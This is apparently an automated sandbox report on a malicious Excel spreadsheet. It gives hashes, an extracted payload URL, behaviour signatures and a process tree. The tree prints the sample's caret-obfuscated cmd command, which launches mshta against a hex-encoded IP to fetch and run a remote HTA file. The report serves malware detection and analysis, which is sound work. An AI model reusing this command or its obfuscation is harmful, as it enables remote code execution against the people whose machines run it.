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Analysis
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max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/11/2024, 21:32
Behavioral task
behavioral1
Sample
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
Resource
win10v2004-20241007-en
General
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Target
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
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Size
101KB
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MD5
066bbe43e6df1d6cdb2d416e867070b9
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SHA1
96298c1e926d123558879bf6ab016e87c4a0bf2a
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SHA256
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3
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SHA512
a21679b025901211157a89afdfd6c4519df99a30afa25bcf1963a38dde11765e018a9e3e35cb7e6f9626fe73e57c73c0e228b4eb929ec547a95e4c077e1500f3
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2876 2768 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2708 mshta.exe 5 2708 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2768 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2768 EXCEL.EXE 2768 EXCEL.EXE 2768 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2768 wrote to memory of 2876 2768 EXCEL.EXE 30 PID 2768 wrote to memory of 2876 2768 EXCEL.EXE 30 PID 2768 wrote to memory of 2876 2768 EXCEL.EXE 30 PID 2768 wrote to memory of 2876 2768 EXCEL.EXE 30 PID 2876 wrote to memory of 2708 2876 cmd.exe 32 PID 2876 wrote to memory of 2708 2876 cmd.exe 32 PID 2876 wrote to memory of 2708 2876 cmd.exe 32 PID 2876 wrote to memory of 2708 2876 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2708
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